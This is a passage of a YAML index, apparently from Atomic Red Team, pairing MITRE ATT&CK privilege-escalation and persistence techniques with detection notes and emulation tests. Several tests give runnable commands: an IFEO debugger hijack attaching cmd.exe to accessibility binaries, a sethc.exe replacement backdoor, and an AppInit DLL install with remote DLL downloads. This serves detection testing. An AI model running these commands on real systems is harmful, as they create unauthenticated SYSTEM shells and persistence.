        elevation control mechanisms that are intended to limit privileges that a
        user can perform on a machine. Authorization has to be granted to specific
        users in order to perform tasks that can be considered of higher risk. An
        adversary can perform several methods to take advantage of built-in control
        mechanisms in order to escalate privileges on a system.
      id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-07-22T21:36:52.825Z'
      created: '2020-01-30T13:58:14.373Z'
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'File: File Modification'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_detection: |-
        Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).

        Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.

        On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.

        There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1134:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1134
        url: https://attack.mitre.org/techniques/T1134
      - external_id: CAPEC-633
        source_name: capec
        url: https://capec.mitre.org/data/definitions/633.html
      - url: https://pentestlab.blog/2017/04/03/token-manipulation/
        description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
          21, 2017.
        source_name: Pentestlab Token Manipulation
      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
          April 21, 2017.
        source_name: Microsoft Command-line Logging
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        source_name: Microsoft LogonUser
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        source_name: Microsoft DuplicateTokenEx
      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
        source_name: Microsoft ImpersonateLoggedOnUser
      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
        description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
          No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
        source_name: BlackHat Atkinson Winchester Token Manipulation
      description: |-
        Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.

        An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)

        Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
      name: Access Token Manipulation
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-24T13:40:52.952Z'
      created: '2017-12-14T16:46:06.044Z'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      - System access controls
      - File system access controls
      - Heuristic Detection
      - Host forensic analysis
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.0'
      x_mitre_contributors:
      - Tom Ueltschi @c_APT_ure
      - Travis Smith, Tripwire
      - Robby Winchester, @robwinchester3
      - Jared Atkinson, @jaredcatkinson
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      - 'Process: OS API Execution'
      - 'User Account: User Account Metadata'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      x_mitre_detection: "If an adversary is using a standard command-line shell,
        analysts can detect token manipulation by auditing command-line activity.
        Specifically, analysts should look for use of the <code>runas</code> command.
        Detailed command-line logging is not enabled by default in Windows.(Citation:
        Microsoft Command-line Logging)\n\nIf an adversary is using a payload that
        calls the Windows token APIs directly, analysts can detect token manipulation
        only through careful analysis of user network activity, examination of running
        processes, and correlation with other endpoint and network behavior. \n\nThere
        are many Windows API calls a payload can take advantage of to manipulate access
        tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation:
        Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation:
        Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API
        pages for more information.\n\nQuery systems for process and thread token
        information and look for inconsistencies such as user owns processes impersonating
        the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook
        for inconsistencies between the various fields that store PPID information,
        such as the EventHeader ProcessId from data collected via Event Tracing for
        Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID
        and ParentProcessID (which are also produced from ETW and other utilities
        such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId
        identifies the actual parent process."
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1546.008:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.008
        url: https://attack.mitre.org/techniques/T1546/008
      - external_id: CAPEC-558
        source_name: capec
        url: https://capec.mitre.org/data/definitions/558.html
      - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
        description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit:
          Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.'
        source_name: FireEye Hikit Rootkit
      - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
        description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
          the Kingdom. Retrieved July 5, 2017.
        source_name: DEFCON2016 Sticky Keys
      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
          Retrieved November 12, 2014.
        source_name: Tilbury 2014
      - source_name: Narrator Accessibility Abuse
        url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
        description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub'
          URI for Fileless Persistence. Retrieved April 28, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Accessibility Features
      description: |-
        Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

        Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

        Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

        For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

        Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

        * On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
        * Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
        * Narrator: <code>C:\Windows\System32\Narrator.exe</code>
        * Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
        * App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
      id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-05-13T20:37:30.048Z'
      created: '2020-01-24T14:32:40.315Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: Changes to accessibility utility binaries or binary paths
        that do not correlate with known software, patch cycles, etc., are suspicious.
        Command line invocation of tools capable of modifying the Registry for associated
        keys are also suspicious. Utility arguments and the binaries themselves should
        be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
        NT\CurrentVersion\Image File Execution Options</code>.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'File: File Creation'
      - 'File: File Modification'
      x_mitre_contributors:
      - Paul Speulstra, AECOM Global Security Operations Center
      x_mitre_platforms:
      - Windows
      identifier: T1546.008
    atomic_tests:
    - name: Attaches Command Prompt as a Debugger to a List of Target Processes
      auto_generated_guid: 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9
      description: |
        Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.

        Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.
      supported_platforms:
      - windows
      input_arguments:
        parent_list:
          description: 'Comma separated list of system binaries to which you want
            to attach each #{attached_process}. Default: "osk.exe"

'
          type: String
          default: osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe,
            atbroker.exe
        attached_process:
          description: 'Full path to process to attach to target in #{parent_list}.
            Default: cmd.exe

'
          type: Path
          default: C:\windows\system32\cmd.exe
      executor:
        command: |
          $input_table = "#{parent_list}".split(",")
          $Name = "Debugger"
          $Value = "#{attached_process}"
          Foreach ($item in $input_table){
            $item = $item.trim()
            $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
            IF(!(Test-Path $registryPath))
            {
              New-Item -Path $registryPath -Force
              New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
            }
            ELSE
            {
              New-ItemProperty -Path $registryPath -Name $name -Value $Value
            }
          }
        cleanup_command: |
          $input_table = "#{parent_list}".split(",")
          Foreach ($item in $input_table)
          {
            $item = $item.trim()
            reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item" /v Debugger /f 2>&1 | Out-Null
          }
        name: powershell
        elevation_required: true
    - name: Replace binary of sticky keys
      auto_generated_guid: 934e90cf-29ca-48b3-863c-411737ad44e3
      description: 'Replace sticky keys binary (sethc.exe) with cmd.exe

'
      supported_platforms:
      - windows
      executor:
        command: |
          copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
          takeown /F C:\Windows\System32\sethc.exe /A
          icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
          copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
        cleanup_command: 'copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe

'
        name: command_prompt
        elevation_required: true
  T1547.014:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.014
        url: https://attack.mitre.org/techniques/T1547/014
      - source_name: Klein Active Setup 2010
        url: https://helgeklein.com/blog/2010/04/active-setup-explained/
        description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved
          December 18, 2020.
      - source_name: Mandiant Glyer APT 2010
        url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
        description: Glyer, C. (2010). Examples of Recent APT Persitence Mechanism.
          Retrieved December 18, 2020.
      - source_name: Citizenlab Packrat 2015
        url: https://citizenlab.ca/2015/12/packrat-report/
        description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved
          December 18, 2020.
      - source_name: FireEye CFR Watering Hole 2012
        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
          Retrieved December 18, 2020.
      - source_name: SECURELIST Bright Star 2015
        url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
        description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really
          Spreading through the Bright Star?. Retrieved December 18, 2020.
      - source_name: paloalto Tropic Trooper 2016
        url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
        description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese
          Government and Fossil Fuel Provider With Poison Ivy. Retrieved December
          18, 2020.
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Active Setup
      description: |-
        Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.

        Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)

        Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
      id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-03-05T22:36:37.414Z'
      created: '2020-12-18T16:33:13.098Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\</code>.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_contributors:
      - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1546.009:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.009
        url: https://attack.mitre.org/techniques/T1546/009
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      - url: https://forum.sysinternals.com/appcertdlls_topic12546.html
        description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls.
          Retrieved December 18, 2017.
        source_name: Sysinternals AppCertDlls Oct 2007
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: AppCert DLLs
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by AppCert DLLs loaded into processes.
        Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>
        Registry key under <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session
        Manager\\</code> are loaded into every process that calls the ubiquitously
        used application programming interface (API) functions <code>CreateProcess</code>,
        <code>CreateProcessAsUser</code>, <code>CreateProcessWithLoginW</code>, <code>CreateProcessWithTokenW</code>,
        or <code>WinExec</code>. (Citation: Elastic Process Injection July 2017)\n\nSimilar
        to [Process Injection](https://attack.mitre.org/techniques/T1055), this value
        can be abused to obtain elevated privileges by causing a malicious DLL to
        be loaded and run in the context of separate processes on the computer. Malicious
        AppCert DLLs may also provide persistence by continuously being triggered
        by API activity. "
      id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-11-10T18:29:31.052Z'
      created: '2020-01-24T14:47:41.795Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      x_mitre_detection: "Monitor DLL loads by processes, specifically looking for
        DLLs that are not recognized or not normally loaded into a process. Monitor
        the AppCertDLLs Registry value for modifications that do not correlate with
        known software, patch cycles, etc. Monitor and analyze application programming
        interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx
        and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools
        such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting
        location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls
        Oct 2007)\n\nLook for abnormal process behavior that may be due to a process
        loading a malicious DLL. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as making network connections for Command and Control, learning details about
        the environment through Discovery, and conducting Lateral Movement."
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1546.010:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.010
        url: https://attack.mitre.org/techniques/T1546/010
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://support.microsoft.com/en-us/kb/197571
        description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
          value. Retrieved July 15, 2015.
        source_name: AppInit Registry
      - url: https://msdn.microsoft.com/en-us/library/dn280412
        description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
          15, 2015.
        source_name: AppInit Secure Boot
      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        source_name: TechNet Autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: AppInit DLLs
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by AppInit DLLs loaded into processes.
        Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code>
        value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows
        NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows
        NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process
        that loads user32.dll. In practice this is nearly every program, since user32.dll
        is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar
        to Process Injection, these values can be abused to obtain elevated privileges
        by causing a malicious DLL to be loaded and run in the context of separate
        processes on the computer. (Citation: AppInit Registry) Malicious AppInit
        DLLs may also provide persistence by continuously being triggered by API activity.
        \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions
        when secure boot is enabled. (Citation: AppInit Secure Boot)"
      id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2020-11-10T18:29:31.076Z'
      created: '2020-01-24T14:52:25.589Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Secure boot disabled on systems running Windows 8 and later
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and
        look for DLLs that are not recognized or not normally loaded into a process.
        Monitor the AppInit_DLLs Registry values for modifications that do not correlate
        with known software, patch cycles, etc. Monitor and analyze application programming
        interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code>
        and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July
        2017)\n\nTools such as Sysinternals Autoruns may also be used to detect system
        changes that could be attempts at persistence, including listing current AppInit
        DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior
        that may be due to a process loading a malicious DLL. Data and events should
        not be viewed in isolation, but as part of a chain of behavior that could
        lead to other activities, such as making network connections for Command and
        Control, learning details about the environment through Discovery, and conducting
        Lateral Movement."
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Module: Module Load'
      x_mitre_platforms:
      - Windows
      identifier: T1546.010
    atomic_tests:
    - name: Install AppInit Shim
      auto_generated_guid: a58d9386-3080-4242-ab5f-454c16503d18
      description: "AppInit_DLLs is a mechanism that allows an arbitrary list of DLLs
        to be loaded into each user mode process on the system. Upon succesfully execution,
        \nyou will see the message \"The operation completed successfully.\" Each
        time the DLL is loaded, you will see a message box with a message of \"Install
        AppInit Shim DLL was called!\" appear.\nThis will happen regularly as your
        computer starts up various applications and may in fact drive you crazy. A
        reliable way to make the message box appear and verify the \nAppInit Dlls
        are loading is to start the notepad application. Be sure to run the cleanup
        commands afterwards so you don't keep getting message boxes showing up.\n\nNote:
        If secure boot is enabled, this technique will not work. https://docs.microsoft.com/en-us/windows/win32/dlls/secure-boot-and-appinit-dlls\n"
      supported_platforms:
      - windows
      input_arguments:
        registry_file:
          description: Windows Registry File
          type: Path
          default: PathToAtomicsFolder\T1546.010\src\T1546.010.reg
        registry_cleanup_file:
          description: Windows Registry File
          type: Path
          default: PathToAtomicsFolder\T1546.010\src\T1546.010-cleanup.reg
      dependency_executor_name: powershell
      dependencies:
      - description: 'Reg files must exist on disk at specified locations (#{registry_file}
          and #{registry_cleanup_file})

'
        prereq_command: 'if ((Test-Path #{registry_file}) -and (Test-Path #{registry_cleanup_file}))
          {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory (split-path #{registry_file}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010.reg" -OutFile "#{registry_file}"
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/src/T1546.010-cleanup.reg" -OutFile "#{registry_cleanup_file}"
      - description: 'DLL''s must exist in the C:\Tools directory (T1546.010.dll and
          T1546.010x86.dll)

'
        prereq_command: 'if ((Test-Path c:\Tools\T1546.010.dll) -and (Test-Path c:\Tools\T1546.010x86.dll))
          {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory C:\Tools -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010.dll" -OutFile C:\Tools\T1546.010.dll
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.010/bin/T1546.010x86.dll" -OutFile C:\Tools\T1546.010x86.dll
      executor:
        command: 'reg.exe import #{registry_file}

'
        cleanup_command: 'reg.exe import #{registry_cleanup_file} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
  T1546.011:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1546.011
        url: https://attack.mitre.org/techniques/T1546/011
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - source_name: FireEye Application Shimming
        url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
        description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved
          May 4, 2020.
      - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
        description: Pierce, Sean. (2015, November). Defending Against Malicious Application
          Compatibility Shims. Retrieved June 22, 2017.
        source_name: Black Hat 2015 App Shim
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Application Shimming
      description: "Adversaries may establish persistence and/or elevate privileges
        by executing malicious content triggered by application shims. The Microsoft
        Windows Application Compatibility Infrastructure/Framework (Application Shim)
        was created to allow for backward compatibility of software as the operating
        system codebase changes over time. For example, the application shimming feature
        allows developers to apply fixes to applications (without rewriting code)
        that were created for Windows XP so that it will work with Windows 10. (Citation:
        Elastic Process Injection July 2017)\n\nWithin the framework, shims are created
        to act as a buffer between the program (or more specifically, the Import Address
        Table) and the Windows OS. When a program is executed, the shim cache is referenced
        to determine if the program requires the use of the shim database (.sdb).
        If so, the shim database uses hooking to redirect the code as necessary in
        order to communicate with the OS. \n\nA list of all shims currently installed
        by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>
        and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom
        databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>
        and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo
        keep shims secure, Windows designed them to run in user mode so they cannot
        modify the kernel and you must have administrator privileges to install a
        shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)
        (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data
